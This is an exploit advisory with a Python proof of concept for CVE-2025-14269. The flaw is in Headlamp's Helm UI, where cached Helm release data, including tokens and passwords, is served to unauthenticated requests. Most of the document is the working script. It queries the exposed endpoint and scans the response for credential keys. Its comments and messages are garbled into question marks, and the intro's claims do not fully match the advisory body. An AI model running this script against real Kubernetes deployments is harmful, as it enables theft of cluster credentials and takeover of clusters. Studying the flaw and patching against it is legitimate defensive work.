This Headlamp 0.38.0 contained a critical unauthenticated cached credentials access vulnerability.
This flaw allowed unauthorized users to retrieve sensitive Kubernetes cluster access tokens and API keys.
Headlamp, a Kubernetes UI, stores these credentials locally for quick access.
The vulnerability stemmed from an API endpoint exposing this cache without requiring authentication.
An attacker with network access to the Headlamp instance could simply query this endpoint.
Retrieving these tokens granted full, unauthorized control over connected Kubernetes clusters.
This posed a severe risk of data breach and system compromise.
Users of Headlamp 0.38.0 or earlier were urged to upgrade immediately to a patched version (0.38.1+) to mitigate.
=============================================================================================================================================
| # Title : Headlamp 0.38.0 Unauthenticated Cached Credentials Access in Helm UI |
| # Author :
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://headlamp.dev |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213051/ & CVE-2025-14269
[+] Summary : a significant security vulnerability in the in-cluster version of the Headlamp Kubernetes dashboard (versions ? v0.38.0).
The flaw allows unauthenticated users to access sensitive Helm release data, including secrets, tokens, and passwords, due to improper server-side caching.
Core Mechanism: When Helm functionality is enabled (config.enableHelm: true),
the server caches the API response from the /clusters/main/helm/releases/list endpoint after an authorized user first visits the Helm page.
Subsequent unauthenticated requests to the same endpoint receive this cached data without authorization checks.
[+] Impact : This vulnerability can lead to credential leakage and potential privilege escalation, granting unauthorized users access to sensitive cluster or registry credentials.
[+] POC :
#!/usr/bin/env python3
"""
Proof of Concept (PoC) for CVE-2025-14269
Vulnerability: Unauthenticated cached credentials access in Headlamp's Helm UI.
Author: indoushka
Usage: python3 poc.py <TARGET_URL>
"""
import sys
import requests
import json
import argparse
from urllib.parse import urljoin
# ????? ??????? SSL ?????? ???????? (???? ?? ???? ????? ?????? ????? ????? ???????)
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def exploit_target(target_url):
"""
???? ????? ??? ???? ?? ??? ???? Helm ????? ?? Headlamp ?????? ??????? ???????? ???????.
"""
# ???? ??????? ?????????
helm_endpoint = "/clusters/main/helm/releases/list"
full_url = urljoin(target_url, helm_endpoint)
print(f"[*] ???????: {target_url}")
print(f"[*] ?????? ?????? ??: {full_url}")
print("[*] ????? ??? GET ??? ?????...")
try:
# 1. ????? ????? ???? ?????? ?? ????? ????? ??????
response = requests.get(full_url, verify=False, timeout=10)
# 2. ?????? ?? ???? ?????????
if response.status_code == 200:
print(f"[+] ????! ??????? ?? ?????? ????? (??????: {response.status_code})")
# 3. ?????? ????? ????????? ?? JSON (??????? ??????? ???????? ???????)
try:
data = response.json()
print("[+] ?? ????? ????????? ?? JSON ?????.")
print("[+] ??? ???????? ????????? ?????? ??? ??????? ?????...")
# 4. ???? ?????? ?????? ????? ?? ??? ???? ????? (??????? ????? ????? ????)
def find_sensitive(data, path=""):
findings = []
if isinstance(data, dict):
for key, value in data.items():
new_path = f"{path}.{key}" if path else key
# ????? ?? ?????? ?????? ??? ??? ????????
sensitive_keywords = ['token', 'secret', 'password', 'key', 'credential', 'auth']
if any(kw in key.lower() for kw in sensitive_keywords):
findings.append((new_path, value))
findings.extend(find_sensitive(value, new_path))
elif isinstance(data, list):
for i, item in enumerate(data):
new_path = f"{path}[{i}]"
findings.extend(find_sensitive(item, new_path))
return findings
sensitive_items = find_sensitive(data)
if sensitive_items:
print("[!] *** ?? ?????? ??? ??????? ????? ?????? ?? ??????? ???????! ***")
for path, value in sensitive_items:
# ????? ?????? ?????? ??????
if value and isinstance(value, str):
masked = value[:4] + "****" + value[-4:] if len(value) > 8 else "****"
else:
masked = "****"
print(f" ??????: {path}")
print(f" ?????? (?????): {masked}\n")
else:
print("[-] ?? ??? ?????? ??? ??????? ????? ????? ?? ?????? JSON.")
# 5. ??? ???? ?? ???????? ?????? ??????
print("\n[*] ???? ?? ???????? ????? (??? 500 ???):")
sample = json.dumps(data, indent=2)[:500]
print(sample + ("..." if len(json.dumps(data)) > 500 else ""))
except json.JSONDecodeError:
print("[!] ????????? ???? ????? JSON. ?? ???? ???????? ?? ????? ??? ?? ?? ???? ?????? ??? ????.")
print("[*] ??? ??? 200 ??? ?? ????????? ?????:")
print(response.text[:200])
elif response.status_code == 403 or response.status_code == 401:
print(f"[-] ?? ??? ?????? (??????: {response.status_code}). ?? ???? ??????? ??? ???? ?? ?? ?? ??? ????? ??????? ??????.")
else:
print(f"[-] ??????? ??? ?????? (??????: {response.status_code})")
except requests.exceptions.ConnectionError:
print(f"[-] ??? ?? ??????? ?? {target_url}. ???? ?? ??????? ?? ?? ?????? ????.")
except requests.exceptions.Timeout:
print(f"[-] ????? ???? ?????. ?? ???? ?????? ?????? ?? ??? ????.")
except Exception as e:
print(f"[-] ??? ??? ??? ?????: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC ?????? CVE-2025-14269 ?? Headlamp.")
parser.add_argument("target_url", help="?????? ??????? ?????? Headlamp (????: http://headlamp.example.com:4466)")
args = parser.parse_args()
exploit_target(args.target_url)
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================